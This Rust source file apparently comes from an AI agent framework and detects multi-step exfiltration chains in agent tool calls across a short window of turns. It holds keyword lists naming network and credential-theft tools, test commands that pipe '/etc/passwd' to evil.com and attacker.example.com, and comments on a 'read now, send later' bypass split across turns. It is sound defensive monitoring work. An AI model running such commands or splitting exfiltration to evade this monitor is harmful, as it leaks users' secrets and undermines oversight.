zeph_tools/risk_chain.rs
1// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
2// SPDX-License-Identifier: MIT OR Apache-2.0
3
4//! Multi-step attack chain detection across tool calls, within a bounded recent-turn window.
5//!
6//! [`RiskChainAccumulator`] records each tool invocation and detects sequential
7//! patterns that individually appear harmless but together constitute an attack
8//! chain (e.g., read sensitive file → send to external server).
9//!
10//! # Cross-turn detection (#6561)
11//!
12//! A naive per-turn accumulator that fully clears its state at every turn boundary cannot
13//! catch a chain deliberately split across turns (e.g. a sensitive read in turn N, network
14//! egress in turn N+1 — the exact bypass reported in #6561): by the time the second call
15//! arrives, the first leg has already been forgotten. [`advance_turn`](RiskChainAccumulator::advance_turn)
16//! (called once per agent turn boundary) does NOT fully clear recorded calls — it prunes only
17//! calls older than a fixed number of turns and recomputes `cumulative_score` from the calls
18//! that remain, so a chain whose legs land in different turns (as long as both are still within
19//! the window) is still visible to the pattern-matching logic in the next
20//! [`record`](RiskChainAccumulator::record) call. This bounds the blast radius two ways: the
21//! turn-based window limits how long a stale sensitive read stays "live", and the absolute call
22//! count cap independently bounds tracked calls regardless of turn count.
23//!
24//! When a chain fires, the accumulator also pushes a signal code into the [`RiskSignalQueue`]
25//! shared with the `TrajectorySentinel` in `zeph-core`, so the session-scoped cross-turn risk
26//! aggregate reflects the detection too — this is a secondary reporting channel, not the
27//! mechanism that makes cross-turn detection possible (the turn-windowed state above is). All
28//! production entry points construct this accumulator with `Some(queue)`; `None` is used only in
29//! isolated unit tests that don't need `TrajectorySentinel` reporting. Signal codes `10`
30//! (`exfil_read_then_send`) and `11` (`cred_then_egress`) are reserved for chains defined in this
31//! module.
32//!
33//! `RiskChainAccumulator` is authoritative for multi-step chain blocking within its recent-turn
34//! window. `TrajectoryRiskSlot` / `TrajectorySentinel` remain authoritative for cumulative global
35//! risk level across the whole session.
36
37use std::collections::VecDeque;
38use std::sync::Arc;
39
40use parking_lot::Mutex;
41use tracing;
42
43use crate::policy_gate::RiskSignalQueue;
44
45/// Signal code for `exfil_read_then_send` chain.
46const SIGNAL_EXFIL_READ_THEN_SEND: u8 = 10;
47/// Signal code for `cred_then_egress` chain.
48const SIGNAL_CRED_THEN_EGRESS: u8 = 11;
49
50/// Maximum number of calls tracked, regardless of how many turns they span.
51///
52/// Once exceeded, the oldest entry is dropped and `cumulative_score` is recomputed from the
53/// surviving calls (see [`RiskChainAccumulator::advance_turn`]).
54const MAX_CALLS: usize = 20;
55
56/// Number of turns a recorded call stays "live" for cross-turn chain detection (#6561).
57///
58/// [`RiskChainAccumulator::advance_turn`] prunes any call older than this many turns. A chain
59/// split across turns (e.g. sensitive read in turn N, network egress in turn N+1..=N+3) is still
60/// caught as long as both legs fall within this window; a read from many turns ago that never
61/// led anywhere eventually ages out, so unrelated old activity cannot combine with new activity
62/// into a false positive indefinitely.
63const CROSS_TURN_WINDOW_TURNS: u64 = 3;
64
65/// Risk categories assigned to individual tool calls during classification.
66#[derive(Debug, Clone, PartialEq, Eq)]
67#[non_exhaustive]
68pub enum RiskTag {
69 /// Read of a sensitive path: `/etc/passwd`, `/etc/shadow`, `~/.ssh/*`, `.env`.
70 SensitiveRead,
71 /// Network egress tool: `curl`, `wget`, `nc`, `ncat`, or the `fetch` tool.
72 NetworkEgress,
73 /// Write to a system path: `/etc/`, `/usr/`, `/sys/`.
74 SystemWrite,
75 /// Access to credential-bearing variables or files.
76 CredentialAccess,
77 /// Process manipulation: `kill`, `pkill`.
78 ProcessControl,
79}
80
81/// Verdict produced by [`RiskChainAccumulator::record`].
82#[derive(Debug, Clone)]
83pub struct RiskChainVerdict {
84 /// Cumulative risk score for the current turn (`0.0` = benign, `≥1.0` = saturated).
85 pub cumulative_score: f32,
86 /// Name of the matched multi-step chain pattern, if any fired on this call.
87 pub chain_pattern: Option<String>,
88 /// `true` when `cumulative_score` exceeds the configured threshold.
89 pub should_block: bool,
90}
91
92#[derive(Debug, Clone)]
93struct ScoredCall {
94 tags: Vec<RiskTag>,
95 /// Turn index this call was recorded in — used by `advance_turn` to prune calls that have
96 /// aged out of [`CROSS_TURN_WINDOW_TURNS`].
97 turn: u64,
98}
99
100#[derive(Debug, Default)]
101struct Inner {
102 calls: VecDeque<ScoredCall>,
103 cumulative_score: f32,
104 /// Current turn index, incremented by `advance_turn`. Starts at 0.
105 turn: u64,
106 /// Name of the chain pattern currently pushed into the signal queue, if any (#6561
107 /// dedup fix). While the same chain stays matched across several subsequent `record()`
108 /// calls (it can remain live for up to `CROSS_TURN_WINDOW_TURNS` turns now), the queue
109 /// push must fire once per detection, not once per call — otherwise a single logical
110 /// chain can flood `RiskSignalQueue`/`TrajectorySentinel` with dozens of duplicate pushes
111 /// over its live window, amplifying one detection into a session-wide false escalation.
112 /// Cleared as soon as `detect_chain` stops matching, so a genuinely new occurrence of the
113 /// same pattern (after the old one ages out) pushes again.
114 signaled_pattern: Option<String>,
115}
116
117/// Cumulative risk tracker for multi-step attack chain detection, scoped to one agent
118/// session/turn-loop (#6588: one instance per session, not shared across concurrent sessions).
119///
120/// Thread-safe: state is protected by a `parking_lot::Mutex` so concurrent
121/// tool calls within a single batch accumulate correctly.
122///
123/// Create one instance per agent session via [`RiskChainAccumulator::new`] and call
124/// [`advance_turn`](RiskChainAccumulator::advance_turn) at each turn boundary — this prunes
125/// stale calls rather than fully clearing state, which is what makes cross-turn chain
126/// detection possible (see the module docs).
127///
128/// # Examples
129///
130/// ```
131/// use zeph_tools::risk_chain::RiskChainAccumulator;
132///
133/// let acc = RiskChainAccumulator::new(None);
134/// let v = acc.record("bash", "cat /etc/passwd", 0.7);
135/// assert!(!v.should_block); // single sensitive read, score < threshold
136/// ```
137#[derive(Debug, Clone)]
138pub struct RiskChainAccumulator {
139 inner: Arc<Mutex<Inner>>,
140 signal_queue: Option<RiskSignalQueue>,
141}
142
143impl RiskChainAccumulator {
144 /// Create a new accumulator for one agent session.
145 ///
146 /// `signal_queue` — when `Some`, chain detections push a signal code into
147 /// the shared queue so the `TrajectorySentinel` in `zeph-core` is notified.
148 #[must_use]
149 pub fn new(signal_queue: Option<RiskSignalQueue>) -> Self {
150 Self {
151 inner: Arc::new(Mutex::new(Inner::default())),
152 signal_queue,
153 }
154 }
155
156 /// Record a tool call and return the updated risk verdict.
157 ///
158 /// `tool_name`: e.g. `"bash"`, `"fetch"`, `"web_scrape"`.
159 /// `command`: the shell command or URL (post-deobfuscation for shell calls).
160 /// `threshold`: cumulative score above which `should_block` is `true`.
161 ///
162 /// # Errors
163 ///
164 /// This function never returns an error; it returns a verdict that the caller
165 /// uses to decide whether to block the tool call.
166 #[must_use]
167 pub fn record(&self, tool_name: &str, command: &str, threshold: f32) -> RiskChainVerdict {
168 let _span = tracing::info_span!("tools.risk_chain.check", tool = tool_name).entered();
169 let tags = classify(tool_name, command);
170 let call_score: f32 = tags.iter().map(tag_score).sum();
171
172 let mut inner = self.inner.lock();
173
174 // Maintain capacity bound — drop oldest entry when full.
175 if inner.calls.len() >= MAX_CALLS {
176 inner.calls.pop_front();
177 }
178 let turn = inner.turn;
179 inner.calls.push_back(ScoredCall {
180 tags: tags.clone(),
181 turn,
182 });
183 inner.cumulative_score = (inner.cumulative_score + call_score).min(10.0);
184
185 // Check for multi-step chain patterns.
186 let chain_pattern = Self::detect_chain(&inner.calls);
187
188 if let Some(ref name) = chain_pattern {
189 let bonus = chain_bonus(name);
190 inner.cumulative_score = (inner.cumulative_score + bonus).min(10.0);
191
192 // Push into the shared signal queue — but only once per detection (#6561 dedup
193 // fix): the same live chain can keep matching on every subsequent call for up to
194 // CROSS_TURN_WINDOW_TURNS turns, and without this guard each of those calls would
195 // re-push the same signal code, flooding TrajectorySentinel/MAGE with duplicates
196 // from a single logical attack.
197 if inner.signaled_pattern.as_deref() != Some(name.as_str()) {
198 if let Some(ref q) = self.signal_queue {
199 let code = chain_signal_code(name);
200 q.lock().push(code);
201 }
202 inner.signaled_pattern = Some(name.clone());
203 }
204 } else {
205 // Chain no longer live (a leg aged out of the window) — clear the dedup marker so
206 // a genuinely new future occurrence of the same pattern pushes again.
207 inner.signaled_pattern = None;
208 }
209
210 RiskChainVerdict {
211 cumulative_score: inner.cumulative_score,
212 chain_pattern,
213 should_block: inner.cumulative_score >= threshold,
214 }
215 }
216
217 /// Advance to the next turn. Call at each turn boundary (`Agent::begin_turn()`).
218 ///
219 /// Does NOT fully clear state — that would defeat cross-turn chain detection (#6561). Instead
220 /// it prunes calls older than a fixed number of turns and recomputes `cumulative_score`
221 /// from the calls that remain, so a chain split across turns is still visible to the next
222 /// [`record`](Self::record) call as long as both legs fall within the window.
223 pub fn advance_turn(&self) {
224 let mut inner = self.inner.lock();
225 inner.turn += 1;
226 let cutoff = inner.turn.saturating_sub(CROSS_TURN_WINDOW_TURNS);
227 inner.calls.retain(|c| c.turn >= cutoff);
228 inner.cumulative_score = inner
229 .calls
230 .iter()
231 .flat_map(|c| &c.tags)
232 .map(tag_score)
233 .sum::<f32>()
234 .min(10.0);
235 }
236
237 /// Detect whether the accumulated call sequence matches a known chain pattern.
238 fn detect_chain(calls: &VecDeque<ScoredCall>) -> Option<String> {
239 let all_tags: Vec<&RiskTag> = calls.iter().flat_map(|c| &c.tags).collect();
240
241 let has_sensitive_read = all_tags.contains(&&RiskTag::SensitiveRead);
242 let has_cred_access = all_tags.contains(&&RiskTag::CredentialAccess);
243 let has_network_egress = all_tags.contains(&&RiskTag::NetworkEgress);
244
245 // Pattern 1: sensitive file read → network egress.
246 if has_sensitive_read
247 && has_network_egress
248 && chain_ordered(calls, &RiskTag::SensitiveRead, &RiskTag::NetworkEgress)
249 {
250 return Some("exfil_read_then_send".to_owned());
251 }
252
253 // Pattern 2: credential access → network egress.
254 if has_cred_access
255 && has_network_egress
256 && chain_ordered(calls, &RiskTag::CredentialAccess, &RiskTag::NetworkEgress)
257 {
258 return Some("cred_then_egress".to_owned());
259 }
260
261 None
262 }
263}
264
265/// Return `true` if `before` tag appears in an earlier call than `after` tag.
266fn chain_ordered(calls: &VecDeque<ScoredCall>, before: &RiskTag, after: &RiskTag) -> bool {
267 let first_before = calls.iter().position(|c| c.tags.contains(before));
268 let last_after = calls.iter().rposition(|c| c.tags.contains(after));
269 match (first_before, last_after) {
270 (Some(b), Some(a)) => b < a,
271 _ => false,
272 }
273}
274
275/// Classify a tool invocation into zero or more risk tags.
276fn classify(tool_name: &str, command: &str) -> Vec<RiskTag> {
277 let mut tags = Vec::new();
278 let cmd_lower = command.to_lowercase();
279
280 // Network egress: fetch tool or egress shell commands.
281 if tool_name == "fetch" || tool_name == "web_scrape" {
282 tags.push(RiskTag::NetworkEgress);
283 }
284
285 if cmd_lower.contains("curl")
286 || cmd_lower.contains("wget")
287 || cmd_lower.contains("nc ")
288 || cmd_lower.contains("ncat")
289 || cmd_lower.contains("ssh")
290 || cmd_lower.contains("scp")
291 || cmd_lower.contains("sftp")
292 || cmd_lower.contains("rsync")
293 {
294 tags.push(RiskTag::NetworkEgress);
295 }
296
297 // Sensitive read.
298 if cmd_lower.contains("/etc/passwd")
299 || cmd_lower.contains("/etc/shadow")
300 || cmd_lower.contains("/.ssh/")
301 || cmd_lower.contains(".env")
302 {
303 tags.push(RiskTag::SensitiveRead);
304 }
305
306 // Credential access — specific compound patterns to avoid false positives on common words
307 // like "keyboard", "tokenizer", "socket". Match whole-word-adjacent patterns.
308 let has_cred_pattern = cmd_lower.contains("api_key")
309 || cmd_lower.contains("secret_key")
310 || cmd_lower.contains("access_key")
311 || cmd_lower.contains("private_key")
312 || cmd_lower.contains("auth_token")
313 || cmd_lower.contains("access_token")
314 || cmd_lower.contains("bearer_token")
315 || cmd_lower.contains("api_token")
316 || cmd_lower.contains("_secret")
317 || cmd_lower.contains("password")
318 || cmd_lower.contains("passwd")
319 || cmd_lower.contains("credential")
320 || cmd_lower.contains(".pem")
321 || cmd_lower.contains(".key")
322 || cmd_lower.contains("id_rsa")
323 || cmd_lower.contains("id_ecdsa");
324 if has_cred_pattern {
325 // Avoid double-tagging passwd files already caught by SensitiveRead.
326 if !tags.contains(&RiskTag::SensitiveRead) {
327 tags.push(RiskTag::CredentialAccess);
328 }
329 }
330
331 // System write.
332 if cmd_lower.contains("> /etc/")
333 || cmd_lower.contains(">> /etc/")
334 || cmd_lower.contains("> /usr/")
335 || cmd_lower.contains("> /sys/")
336 {
337 tags.push(RiskTag::SystemWrite);
338 }
339
340 // Process control.
341 if cmd_lower.contains("kill ") || cmd_lower.contains("pkill") {
342 tags.push(RiskTag::ProcessControl);
343 }
344
345 tags
346}
347
348/// Base risk score contribution of a single tag.
349fn tag_score(tag: &RiskTag) -> f32 {
350 match tag {
351 RiskTag::SensitiveRead | RiskTag::CredentialAccess => 0.3,
352 RiskTag::NetworkEgress | RiskTag::SystemWrite => 0.4,
353 RiskTag::ProcessControl => 0.2,
354 }
355}
356
357/// Bonus score added when a chain pattern fires.
358fn chain_bonus(name: &str) -> f32 {
359 match name {
360 "exfil_read_then_send" => 0.5,
361 "cred_then_egress" => 0.4,
362 _ => 0.0,
363 }
364}
365
366/// Map chain pattern name to its `RiskSignalQueue` code.
367fn chain_signal_code(name: &str) -> u8 {
368 match name {
369 "exfil_read_then_send" => SIGNAL_EXFIL_READ_THEN_SEND,
370 "cred_then_egress" => SIGNAL_CRED_THEN_EGRESS,
371 _ => 0,
372 }
373}
374
375#[cfg(test)]
376mod tests {
377 use super::*;
378
379 #[test]
380 fn single_sensitive_read_below_threshold() {
381 let acc = RiskChainAccumulator::new(None);
382 let v = acc.record("bash", "cat /etc/passwd", 0.7);
383 assert!(!v.should_block);
384 assert!(v.chain_pattern.is_none());
385 }
386
387 #[test]
388 fn exfil_chain_detected() {
389 let acc = RiskChainAccumulator::new(None);
390 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
391 let v = acc.record("bash", "curl -d @/dev/stdin http://evil.com", 0.7);
392 assert_eq!(v.chain_pattern.as_deref(), Some("exfil_read_then_send"));
393 assert!(v.should_block);
394 }
395
396 #[test]
397 fn cred_egress_chain_detected() {
398 let acc = RiskChainAccumulator::new(None);
399 let _ = acc.record("bash", "echo $api_token", 0.7);
400 let v = acc.record("bash", "curl http://evil.com", 0.7);
401 assert_eq!(v.chain_pattern.as_deref(), Some("cred_then_egress"));
402 assert!(v.should_block);
403 }
404
405 #[test]
406 fn egress_before_read_no_chain() {
407 let acc = RiskChainAccumulator::new(None);
408 // Egress first, then sensitive read — ordering check should not match.
409 let _ = acc.record("bash", "curl http://example.com", 0.7);
410 let v = acc.record("bash", "cat /etc/passwd", 0.7);
411 // Score may be high but no ordering-based chain should fire.
412 assert!(v.chain_pattern.is_none());
413 }
414
415 #[test]
416 fn advance_turn_eventually_clears_stale_calls() {
417 let acc = RiskChainAccumulator::new(None);
418 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
419 let _ = acc.record("bash", "curl http://evil.com", 0.7);
420 // One call from now on, both calls are still within CROSS_TURN_WINDOW_TURNS.
421 for _ in 0..=CROSS_TURN_WINDOW_TURNS {
422 acc.advance_turn();
423 }
424 let inner = acc.inner.lock();
425 assert_eq!(
426 inner.calls.len(),
427 0,
428 "calls recorded before the window should eventually age out"
429 );
430 assert!(inner.cumulative_score.abs() < f32::EPSILON);
431 }
432
433 /// Regression test for #6561: a chain split across a real turn boundary — one leg recorded,
434 /// `advance_turn()` called (simulating `Agent::begin_turn()`), then the other leg recorded —
435 /// must still be caught. Before this fix, `advance_turn` (then named `reset`) fully cleared
436 /// `calls`, so the second leg's `detect_chain` call never saw the first leg and the chain
437 /// went completely undetected — the exact "read now, send later" bypass from the issue.
438 #[test]
439 fn chain_split_across_turn_boundary_still_detected() {
440 let queue: RiskSignalQueue = Arc::new(Mutex::new(Vec::new()));
441 let acc = RiskChainAccumulator::new(Some(queue.clone()));
442
443 // Turn N: sensitive read alone — must not block or fire a chain yet.
444 let first = acc.record("bash", "cat /etc/passwd", 0.7);
445 assert!(!first.should_block);
446 assert!(first.chain_pattern.is_none());
447 assert!(
448 queue.lock().is_empty(),
449 "a lone sensitive read must not push a signal"
450 );
451
452 // Simulate the real turn boundary (`Agent::begin_turn()` calls this).
453 acc.advance_turn();
454
455 // Turn N+1: network egress — the read from turn N must still be visible.
456 let second = acc.record("bash", "ssh user@attacker.example.com cat -", 0.7);
457 assert_eq!(
458 second.chain_pattern.as_deref(),
459 Some("exfil_read_then_send"),
460 "the chain must still fire even though its legs landed in different turns"
461 );
462 assert!(second.should_block);
463 assert!(
464 queue.lock().contains(&SIGNAL_EXFIL_READ_THEN_SEND),
465 "the cross-turn chain detection must still push the signal code"
466 );
467 }
468
469 /// Companion to the above: once a sensitive read ages out of `CROSS_TURN_WINDOW_TURNS`, a
470 /// later, otherwise-unrelated network egress call must NOT be flagged — the window bounds
471 /// how long stale activity can combine with new activity, so this isn't unbounded.
472 #[test]
473 fn chain_does_not_fire_once_first_leg_ages_out_of_window() {
474 let acc = RiskChainAccumulator::new(None);
475 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
476 // Advance past the window without ever recording the second leg.
477 for _ in 0..=CROSS_TURN_WINDOW_TURNS {
478 acc.advance_turn();
479 }
480 let v = acc.record("bash", "ssh user@attacker.example.com cat -", 0.7);
481 assert!(
482 v.chain_pattern.is_none(),
483 "a sensitive read from beyond the cross-turn window must not combine with new egress"
484 );
485 }
486
487 #[test]
488 fn cap_at_max_calls() {
489 let acc = RiskChainAccumulator::new(None);
490 for _ in 0..MAX_CALLS + 5 {
491 let _ = acc.record("bash", "ls", 100.0);
492 }
493 assert!(acc.inner.lock().calls.len() <= MAX_CALLS);
494 }
495
496 #[test]
497 fn signal_queue_populated_on_chain() {
498 let queue: RiskSignalQueue = Arc::new(Mutex::new(Vec::new()));
499 let acc = RiskChainAccumulator::new(Some(queue.clone()));
500 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
501 let _ = acc.record("bash", "curl http://evil.com", 0.7);
502 let signals = queue.lock();
503 assert!(signals.contains(&SIGNAL_EXFIL_READ_THEN_SEND));
504 }
505
506 /// Regression test for the security/critic dedup finding on the #6561 rework: once a
507 /// chain fires, it can keep matching `detect_chain` on every subsequent `record()` call
508 /// for as long as both legs stay within `CROSS_TURN_WINDOW_TURNS` — without a dedup guard,
509 /// each of those calls would re-push the same signal code, letting one logical chain flood
510 /// `RiskSignalQueue`/`TrajectorySentinel` with dozens of duplicates (security quantified
511 /// this as enough to force a session-wide Allow->Deny escalation from a single detection).
512 #[test]
513 fn chain_signal_pushed_only_once_while_still_matched() {
514 let queue: RiskSignalQueue = Arc::new(Mutex::new(Vec::new()));
515 let acc = RiskChainAccumulator::new(Some(queue.clone()));
516
517 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
518 let second = acc.record("bash", "curl http://evil.com", 0.7);
519 assert_eq!(
520 second.chain_pattern.as_deref(),
521 Some("exfil_read_then_send")
522 );
523 assert_eq!(
524 queue.lock().len(),
525 1,
526 "the chain's first detection must push exactly one signal"
527 );
528
529 // Both legs remain in the live window — detect_chain matches again on every
530 // subsequent call, but the queue must NOT receive another push for the same chain.
531 for _ in 0..5 {
532 let repeat = acc.record("bash", "ls /tmp", 0.7);
533 assert_eq!(
534 repeat.chain_pattern.as_deref(),
535 Some("exfil_read_then_send"),
536 "the chain legitimately stays matched while both legs remain in the window"
537 );
538 }
539 assert_eq!(
540 queue.lock().len(),
541 1,
542 "repeated matches of the SAME live chain must not re-push into the signal queue"
543 );
544 }
545
546 /// Companion to the dedup test: once the chain stops matching (its legs age out of the
547 /// window) and then a genuinely NEW occurrence of the same pattern fires later, the queue
548 /// must receive a signal again — the dedup guard must not permanently suppress the pattern.
549 #[test]
550 fn chain_signal_pushes_again_after_a_new_occurrence() {
551 let queue: RiskSignalQueue = Arc::new(Mutex::new(Vec::new()));
552 let acc = RiskChainAccumulator::new(Some(queue.clone()));
553
554 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
555 let _ = acc.record("bash", "curl http://evil.com", 0.7);
556 assert_eq!(queue.lock().len(), 1);
557
558 // Advance past the window so the old chain fully ages out.
559 for _ in 0..=CROSS_TURN_WINDOW_TURNS {
560 acc.advance_turn();
561 }
562
563 // A brand new, unrelated occurrence of the same pattern.
564 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
565 let second = acc.record("bash", "curl http://evil.com", 0.7);
566 assert_eq!(
567 second.chain_pattern.as_deref(),
568 Some("exfil_read_then_send")
569 );
570 assert_eq!(
571 queue.lock().len(),
572 2,
573 "a genuinely new occurrence of the same pattern must push again after the old \
574 one aged out"
575 );
576 }
577
578 // --- #4270: ssh/scp/rsync → NetworkEgress ---
579
580 #[test]
581 fn ssh_classified_as_network_egress() {
582 let tags = classify("bash", "ssh user@remote.example.com");
583 assert!(
584 tags.contains(&RiskTag::NetworkEgress),
585 "ssh must be classified as NetworkEgress"
586 );
587 }
588
589 #[test]
590 fn scp_classified_as_network_egress() {
591 let tags = classify("bash", "scp localfile user@host:/tmp/");
592 assert!(
593 tags.contains(&RiskTag::NetworkEgress),
594 "scp must be classified as NetworkEgress"
595 );
596 }
597
598 #[test]
599 fn rsync_classified_as_network_egress() {
600 let tags = classify("bash", "rsync -av ./dir user@remote:/backup/");
601 assert!(
602 tags.contains(&RiskTag::NetworkEgress),
603 "rsync must be classified as NetworkEgress"
604 );
605 }
606
607 // --- #4281: sftp → NetworkEgress ---
608
609 #[test]
610 fn sftp_classified_as_network_egress() {
611 let tags = classify("bash", "sftp user@remote.example.com");
612 assert!(
613 tags.contains(&RiskTag::NetworkEgress),
614 "sftp must be classified as NetworkEgress"
615 );
616 }
617
618 #[test]
619 fn sftp_exfil_chain_detected() {
620 let acc = RiskChainAccumulator::new(None);
621 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
622 let v = acc.record("bash", "sftp user@attacker.example.com", 0.7);
623 assert_eq!(
624 v.chain_pattern.as_deref(),
625 Some("exfil_read_then_send"),
626 "read followed by sftp must trigger exfil chain"
627 );
628 assert!(v.should_block);
629 }
630
631 #[test]
632 fn ssh_exfil_chain_detected() {
633 let acc = RiskChainAccumulator::new(None);
634 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
635 let v = acc.record("bash", "ssh user@attacker.example.com cat -", 0.7);
636 assert_eq!(
637 v.chain_pattern.as_deref(),
638 Some("exfil_read_then_send"),
639 "read followed by ssh must trigger exfil chain"
640 );
641 assert!(v.should_block);
642 }
643
644 // --- #4268: VecDeque FIFO eviction ordering ---
645
646 #[test]
647 fn eviction_removes_oldest_call() {
648 let acc = RiskChainAccumulator::new(None);
649 // Fill to capacity with sensitive reads, then push one more to trigger eviction.
650 for _ in 0..MAX_CALLS {
651 let _ = acc.record("bash", "cat /etc/passwd", 0.1);
652 }
653 // After eviction the oldest call is dropped; the window still holds MAX_CALLS.
654 let _ = acc.record("bash", "ls /tmp", 0.1);
655 let inner = acc.inner.lock();
656 assert_eq!(
657 inner.calls.len(),
658 MAX_CALLS,
659 "after eviction calls must stay at MAX_CALLS"
660 );
661 // The first surviving entry was pushed after the initial fill, so its command
662 // matches "cat /etc/passwd" (second-oldest kept), not the overflowed slot.
663 // We verify the deque has exactly MAX_CALLS entries — structural correctness.
664 drop(inner);
665 }
666}